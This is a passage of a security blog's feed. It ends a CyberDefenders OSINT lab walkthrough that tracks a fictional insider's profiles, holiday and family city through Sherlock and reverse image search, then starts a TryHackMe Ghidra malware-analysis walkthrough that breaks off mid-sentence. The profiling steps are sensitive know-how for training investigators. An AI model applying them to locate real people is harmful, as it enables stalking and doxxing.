&lt;em&gt;Sherlock.&lt;/em&gt; We see a couple of gaming-related websites here but none of the listed sites match what the challenge is looking for&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Side Note:&lt;/strong&gt; For the walkthrough, we&amp;rsquo;re going to skip ahead to &lt;strong&gt;Question 6 f&lt;/strong&gt;or now. The process to find the answer for &lt;strong&gt;Question 5&lt;/strong&gt; is there, too.&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-link-to-the-insider-instagram-profile&#34;&gt;Question 6: What is the link to the insider Instagram profile?&#xA;&lt;/h3&gt;&lt;p&gt;Since &lt;strong&gt;Sherlock&lt;/strong&gt; didn&amp;rsquo;t turn up anything interesting for &lt;em&gt;Instagram&lt;/em&gt; either, &lt;em&gt;let&amp;rsquo;s&lt;/em&gt; double check the project&amp;rsquo;s documentation on &lt;a class=&#34;link&#34; href=&#34;https://github.com/sherlock-project/sherlock/blob/master/removed_sites.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;GitHub&lt;/em&gt;&lt;/a&gt; to check if we misconfigured the scan. It turns out that there is a list of &lt;a class=&#34;link&#34; href=&#34;https://github.com/sherlock-project/sherlock/blob/master/removed_sites.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;sites that have been removed&lt;/a&gt; from &lt;em&gt;Sherlock&amp;rsquo;s&lt;/em&gt; scope due to false positives or errors and &lt;em&gt;Instagram&lt;/em&gt; is one of them.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2430px&#34; data-flex-grow=&#34;1012&#34; height=&#34;79&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-lespion-blue-team-lab-walkthrough/d36d4e73cf5af8853538761c991c0183_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://github.com/sherlock-project/sherlock/blob/master/removed_sites.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/sherlock-project/sherlock/blob/master/removed_sites.md&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;That&amp;rsquo;s unfortunate, but no problem as we can pivot back to &lt;em&gt;Google&lt;/em&gt; and focus our search on &lt;em&gt;Instagram.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;708px&#34; data-flex-grow=&#34;295&#34; height=&#34;271&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-lespion-blue-team-lab-walkthrough/58ba38740b19a822f919687b6e7ac127_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll get several results, but the top result is a link to the user&amp;rsquo;s profile. If we copy the link, we will have the insider&amp;rsquo;s &lt;em&gt;Instagram&lt;/em&gt; profile URL!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1292px&#34; data-flex-grow=&#34;538&#34; height=&#34;145&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-lespion-blue-team-lab-walkthrough/5958f35a15da9a474abda8fc6cc66e71_MD5.png&#34; width=&#34;781&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, let&amp;rsquo;s revisit &lt;strong&gt;Question 5&lt;/strong&gt; to discover what gaming website the user has a profile on. Let&amp;rsquo;s review our previous &lt;em&gt;Google&lt;/em&gt; search where one of the results catches our eye and might help us to answer &lt;strong&gt;Question 5&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1092px&#34; data-flex-grow=&#34;455&#34; height=&#34;129&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-lespion-blue-team-lab-walkthrough/bf434972cd9c89d89be0d7ebb64f1c2f_MD5.png&#34; width=&#34;587&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once we click into the post, we can see that the user is inviting people to play games with them using a &lt;em&gt;QR code&lt;/em&gt; link_._&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;421px&#34; data-flex-grow=&#34;175&#34; height=&#34;455&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-lespion-blue-team-lab-walkthrough/8070c41d55a82d1ed6825cefb5b593a8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you follow the URL in the QR code, we are taken to the user&amp;rsquo;s gaming profile, and we now have the answer to &lt;strong&gt;Question 5&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1332px&#34; data-flex-grow=&#34;555&#34; height=&#34;141&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-lespion-blue-team-lab-walkthrough/fbe8a43a77f3fa93594d9477a192f8e3_MD5.png&#34; width=&#34;783&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-where-did-the-insider-go-on-the-holiday-countryonly&#34;&gt;Question 7: Where did the insider go on the holiday? (Country only)&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s continue browsing the user&amp;rsquo;s &lt;em&gt;Instagram&lt;/em&gt; posts to see if we can find any clues. Eventually, we stumble on this post — notice the comment with the photo which mentions &lt;strong&gt;holiday&lt;/strong&gt;?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;424px&#34; data-flex-grow=&#34;176&#34; height=&#34;452&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-lespion-blue-team-lab-walkthrough/3ecd71c7b9c2f4950819f2ac1179b364_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s take this photo and see if we can leverage &lt;em&gt;Google&lt;/em&gt; reverse image search on &lt;a class=&#34;link&#34; href=&#34;https://images.google.com&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://images.google.com&lt;/a&gt; to determine the location the photograph was taken?&lt;/p&gt;&#xA;&lt;p&gt;Once we drop the photo into &lt;em&gt;Google,&lt;/em&gt; we can quickly determine what country this location is in — very cool!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1342px&#34; data-flex-grow=&#34;559&#34; height=&#34;140&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-lespion-blue-team-lab-walkthrough/7d1be630a7abc6e89d22d2d391640d2f_MD5.png&#34; width=&#34;783&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-where-is-the-insider-family-live-cityonly&#34;&gt;Question 8: Where is the insider family live? (City only)&#xA;&lt;/h3&gt;&lt;p&gt;Sticking with &lt;em&gt;Instagram,&lt;/em&gt; we&amp;rsquo;ll continue reviewing the posts. We&amp;rsquo;ll find one post that mentions &lt;strong&gt;family.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;If we try the &lt;em&gt;Google&lt;/em&gt; image search like we did for the last question however, we&amp;rsquo;ll find that the results are inconclusive. We probably need to keep looking, don&amp;rsquo;t we?&lt;/p&gt;&#xA;&lt;p&gt;Did you notice that the post mentioned it was Photo 1/2? What if we check out the second photo? This one looks a little more distinctive. Let&amp;rsquo;s try the &lt;em&gt;Google&lt;/em&gt; search again.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.instagram.com/emarseille99/p/CAjCfM1lKhq/&#34;  title=&#34;https://www.instagram.com/emarseille99/p/CAjCfM1lKhq/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Ã‰milie Marseille on Instagram: &amp;ldquo;photo 2/2&amp;rdquo;&lt;/strong&gt;&#xA;_4 likes, 2 comments - emarseille99 on May 23, 2020: &amp;ldquo;photo 2/2&amp;rdquo;._www.instagram.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.instagram.com/emarseille99/p/CAjCfM1lKhq/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This time the results are much more specific! Let&amp;rsquo;s confirm our findings:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1354px&#34; data-flex-grow=&#34;564&#34; height=&#34;138&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-lespion-blue-team-lab-walkthrough/51615b70b5a6bcb5a046e04e3264cf7a_MD5.png&#34; width=&#34;779&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-9-file---officejpg-you-have-been-provided-with-a-picture-of-the-building-in-which-the-company-has-an-office-which-city-is-the-company-locatedin&#34;&gt;Question 9: File -&amp;gt; office.jpg: You have been provided with a picture of the building in which the company has an office. Which city is the company located in?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, we&amp;rsquo;re closing in on the end of the investigation. This time we&amp;rsquo;re going to return to the evidence files that we downloaded for the challenge and focus on the image &lt;em&gt;office.jpg.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once we open the image, we can focus on the street sign which notes some nearby landmarks.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;664px&#34; data-flex-grow=&#34;277&#34; height=&#34;279&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-lespion-blue-team-lab-walkthrough/049ed8e8f78b1cdfffbedb0e4a3417c9_MD5.png&#34; width=&#34;773&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We can search any of these landmarks on &lt;em&gt;Google&lt;/em&gt; to discover which city this image was taken in. For example, I chose the landmarks on the left-hand sign:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;629px&#34; data-flex-grow=&#34;262&#34; height=&#34;305&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-lespion-blue-team-lab-walkthrough/065eb07e114794dfff71942ae1979068_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1162px&#34; data-flex-grow=&#34;484&#34; height=&#34;161&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-lespion-blue-team-lab-walkthrough/2e22d3d8d2cb46035a2776bfb0b1ca62_MD5.png&#34; width=&#34;780&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-10-file---webcampng-with-the-intel-you-have-provided-our-ground-surveillance-unit-is-now-overlooking-the-person-of-interest-suspected-address-they-saw-them-leaving-their-apartment-and-followed-them-to-the-airport-their-plane-took-off-and-has-landed-in-another-country-our-intelligence-team-spotted-the-target-with-this-ip-camera-which-state-is-this-camerain&#34;&gt;Question 10: File -&amp;gt; Webcam.png: With the intel, you have provided, our ground surveillance unit is now overlooking the person of interest suspected address. They saw them leaving their apartment and followed them to the airport. Their plane took off and has landed in another country. Our intelligence team spotted the target with this IP camera. Which state is this camera in?&#xA;&lt;/h3&gt;&lt;p&gt;All right, we made it to the last question! Let&amp;rsquo;s determine where the target landed.&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll upload the evidence file, &lt;em&gt;WebCam.png&lt;/em&gt; into the &lt;em&gt;Google&lt;/em&gt; image search one more time.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;534px&#34; data-flex-grow=&#34;222&#34; height=&#34;359&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-lespion-blue-team-lab-walkthrough/935488b6721930681191e32033d4b854_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Right away, we&amp;rsquo;ll get several results with the name of the landmark — we simply need to &lt;em&gt;Google&lt;/em&gt; that landmark to determine what state it is in!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;910px&#34; data-flex-grow=&#34;379&#34; height=&#34;207&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-lespion-blue-team-lab-walkthrough/a4f54eb2f5f1724b4b7dcb5095cb3523_MD5.png&#34; width=&#34;785&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Excellent job with the investigation! We made it through the &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/lespion/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;L&amp;rsquo;espion Blue Team Lab&lt;/strong&gt;&lt;/a&gt; and collected valuable intelligence on the target.&lt;/p&gt;&#xA;&lt;p&gt;To wrap this up, thank you to &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberDefenders&lt;/strong&gt;&lt;/a&gt; for the entertaining lab and the opportunity to engage with of the world of &lt;em&gt;OSINT&lt;/em&gt;. The research process using &lt;em&gt;Google&lt;/em&gt; and &lt;em&gt;Sherlock&lt;/em&gt; was really interesting and got me thinking creatively while exploring just how much exposure a user might have online.&lt;/p&gt;&#xA;&lt;p&gt;Thank you so much for reading along, too! I hope that you had as much fun as I did and learned something new, too. Until next week — stay curious!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;SANS:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/blog/what-is-open-source-intelligence/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.sans.org/blog/what-is-open-source-intelligence/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;REMnux:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.remnux.org/install-distro/get-virtual-appliance&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CyberChef:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://gchq.github.io/CyberChef/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Sherlock:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/sherlock-project/sherlock&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/sherlock-project/sherlock&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Google:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://images.google.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://images.google.com/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>TryHackMe  —  Basic Malware RE Walkthrough</title>
            <link>https://stumblesec.com/posts/tryhackme-basic-malware-re-walkthrough/</link>
            <pubDate>Sun, 21 Apr 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/tryhackme-basic-malware-re-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/tryhackme-basic-malware-re-walkthrough/d2c1203d820d702206ccfacedf9d4102_MD5.jpg&#34; alt=&#34;Featured image of post TryHackMe  —  Basic Malware RE Walkthrough&#34; /&gt;&lt;h3 id=&#34;tryhackmebasic-malware-re-walkthrough&#34;&gt;TryHackMe — Basic Malware RE Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;basic-malware-reverse-engineering-withghidra&#34;&gt;Basic malware reverse engineering with Ghidra&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;d2c1203d820d702206ccfacedf9d4102_MD5.jpg&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;361px&#34; data-flex-grow=&#34;150&#34; height=&#34;498&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-basic-malware-re-walkthrough/d2c1203d820d702206ccfacedf9d4102_MD5.jpg&#34; width=&#34;750&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/basicmalwarere&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Image Credit: https://tryhackme.com/r/room/&lt;/a&gt;basicmalwarere&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Have you ever wondered how malware reverse engineering works when using &lt;a class=&#34;link&#34; href=&#34;https://ghidra-sre.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Ghidra&lt;/strong&gt;&lt;/a&gt;? We’re about to find out together!&lt;/p&gt;&#xA;&lt;p&gt;Welcome to my weekly walkthrough where we’ll tackle the &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/basicmalwarere&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Basic Malware RE&lt;/strong&gt;&lt;/a&gt; room on &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt;. This is a follow-up to the &lt;strong&gt;MAL: Strings&lt;/strong&gt; room on the &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/path/outline/blueteam&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Cyber Defense learning path&lt;/a&gt; that I explored last week.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://stumblesec.com/posts/tryhackme-mal-strings-room-walkthrough/&#34; &gt;&lt;strong&gt;TryHackMe — MAL: Strings Room Walkthrough&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;As a beginner with &lt;em&gt;reverse engineering,&lt;/em&gt; I’m confident that this room will challenge me with the basics and help me to fill in some knowledge gaps. So, while I’m still learning and won’t have many real-world application tips this time around, the hands-on experience will be a lot of fun.&lt;/p&gt;&#xA;&lt;p&gt;So, whether you’re here to learn with me or looking for a reference walkthrough for the &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/basicmalwarere&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe Basic Malware RE&lt;/strong&gt;&lt;/a&gt; room, you’re in the right spot. In the spirit of learning, I will not be revealing any flags but I encourage you to follow along on your own. Thanks for reading along, hope it helps!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/basicmalwarere&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/r/room/basicmalwarere&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;setup-the-remnux-analysis-environment--extract-the-challenge-file&#34;&gt;Setup the REMnux Analysis Environment &amp;amp; Extract the challenge file:&#xA;&lt;/h3&gt;&lt;p&gt;Safety first — It’s always a good idea when working with lab/challenge files from &lt;em&gt;TryHackMe&lt;/em&gt; &lt;em&gt;(or any lab/challenge/range)&lt;/em&gt; to keep yourself safe by performing these tasks in a dedicated, isolated virtual machine. For example, I’m using &lt;a class=&#34;link&#34; href=&#34;https://remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;REMnux&lt;/em&gt;&lt;/a&gt; for this challenge and walkthrough .&lt;/p&gt;&#xA;&lt;p&gt;Second, I want to make a note that I’ll be referencing the excellent &lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;REMnux&lt;/em&gt;&lt;/a&gt; Documentation in this post. This is a great resource to discover the tools available within the environment.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.remnux.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Third, to keep this write-up focused I’m going to skip a step-by-step setup guide of &lt;em&gt;REMnux&lt;/em&gt;. Instead, if you want to set up your own &lt;em&gt;REMnux&lt;/em&gt; environment please follow the directions provided by &lt;em&gt;REMnux&lt;/em&gt; directly. I opted for the virtual appliance method:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.remnux.org/install-distro/get-virtual-appliance&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay! Now that we have our virtual environment created, updated, isolated, and snapshotted, we can download and extract our challenge file and get started! For this one, we have three tasks, and the extraction process is the same:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;2092ebbd7ac8975523101048bf2773d5_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;382px&#34; data-flex-grow=&#34;159&#34; height=&#34;396&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-basic-malware-re-walkthrough/2092ebbd7ac8975523101048bf2773d5_MD5.png&#34; width=&#34;631&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;strings-challenge-1&#34;&gt;Strings :: Challenge 1&#xA;&lt;/h3&gt;&lt;h4 id=&#34;this-executable-prints-an-md5-hash-on-the-screen-when-executed-can-you-grab-the-exactflag&#34;&gt;This executable prints an MD5 Hash on the screen when executed. Can you grab the exact flag?&#xA;&lt;/h4&gt;&lt;p&gt;Building on my write-up for the previous room in the series, &lt;a class=&#34;link&#34; href=&#34;https://stumblesec.com/posts/tryhackme-mal-strings-room-walkthrough/&#34; &gt;&lt;strong&gt;MAL:Strings&lt;/strong&gt;&lt;/a&gt;, we’ll start simple and utilize the &lt;em&gt;strings&lt;/em&gt; command to see if there is anything obvious that we can find.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;1ef1769c4c7b5144ba580bf77a70fe43_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;148px&#34; data-flex-grow=&#34;61&#34; height=&#34;865&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-basic-malware-re-walkthrough/1ef1769c4c7b5144ba580bf77a70fe43_MD5.png&#34; width=&#34;534&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Snippet from the strings output&lt;/p&gt;&#xA;&lt;p&gt;Woah! There are hundreds of FLAG strings. This looks like it might be a bit more complicated to analyze so we’ll need to pivot from simply using the &lt;em&gt;strings&lt;/em&gt; command. The challenge states that dynamic analysis is out of the question, so we can’t execute the binary or use a debugger. Maybe we can use something like &lt;strong&gt;&lt;em&gt;Ghidra&lt;/em&gt;,&lt;/strong&gt; which is &lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/discover-the-tools/statically&amp;#43;analyze&amp;#43;code/general#ghidra&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;built in to REMnux&lt;/a&gt;&lt;strong&gt;,&lt;/strong&gt; so that we can perform static analysis on the code? Now, full disclosure I have little experience with &lt;em&gt;Ghidra&lt;/em&gt; outside of a lab or two. So, let’s get some background on what &lt;em&gt;Ghidra&lt;/em&gt; is from the project’s &lt;a class=&#34;link&#34; href=&#34;https://github.com/NationalSecurityAgency/ghidra&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;GitHub&lt;/em&gt;&lt;/a&gt; before we stumble through this together.&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Ghidra is a software reverse engineering (SRE) framework created and maintained by the &lt;a class=&#34;link&#34; href=&#34;https://www.nsa.gov/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;National Security Agency&lt;/a&gt; Research Directorate. This framework includes a suite of full-featured, high-end software analysis tools that enable users to analyze compiled code on a variety of platforms including Windows, macOS, and Linux. Capabilities include disassembly, assembly, decompilation, graphing, and scripting, along with hundreds of other features.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Now, let’s launch &lt;em&gt;Ghidra.&lt;/em&gt; When it starts up_,_ we’ll create a project, drop in the &lt;em&gt;strings1.exe&lt;/em&gt;, and let &lt;em&gt;Ghidra&lt;/em&gt; perform the initial analysis. Once that is completed, we’ll have the &lt;em&gt;symbol tree&lt;/em&gt; displayed on the left, the &lt;em&gt;listing contents&lt;/em&gt; in the center, and the &lt;em&gt;decompile&lt;/em&gt; window on the right.&lt;/p&gt;&#xA;&lt;p&gt;Let’s start by looking at the &lt;em&gt;functions&lt;/em&gt;. Based on what we know about this binary already, when the application is executed, it prints an MD5 hash of the flag string. So, put another way we need to find the MD5 hashing function and then locate the string within the code that is being hashed — this will be the flag we are looking for.&lt;/p&gt;&#xA;&lt;p&gt;After doing some research, we’ll start by examining the &lt;em&gt;entry&lt;/em&gt; function. We’ll enlist help from &lt;em&gt;Microsoft Co-Pilot&lt;/em&gt; to explain this better for us and fill in some knowledge gaps. As a side note, remember to always verify the sources and information given by generative AI for accuracy.&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The “entry function” in Ghidra refers to the initial function that is called when a program starts running. It’s the point where the control is transferred from the operating system to the program. In the context of reverse engineering, when you load a binary into Ghidra, it tries to identify this entry point so that analysts can begin tracing the program’s execution from the very start.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Great, this sounds like a good place to start! Right away, we see some evidence of a flag. While this seems promising, let’s dig in and try to understand what we are seeing.&lt;/p&gt;&#xA;&lt;p&gt;Let’s focus on the &lt;em&gt;decompile&lt;/em&gt; window. We see a &lt;strong&gt;character pointer&lt;/strong&gt;, which is typically used to point to a memory location that stores a string: &lt;code&gt;char *lpText;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;It looks like this points to a string transformed by an MD5 hashing function. Messy explanation, I know, but stick with me and let’s double- click on the string that ends in 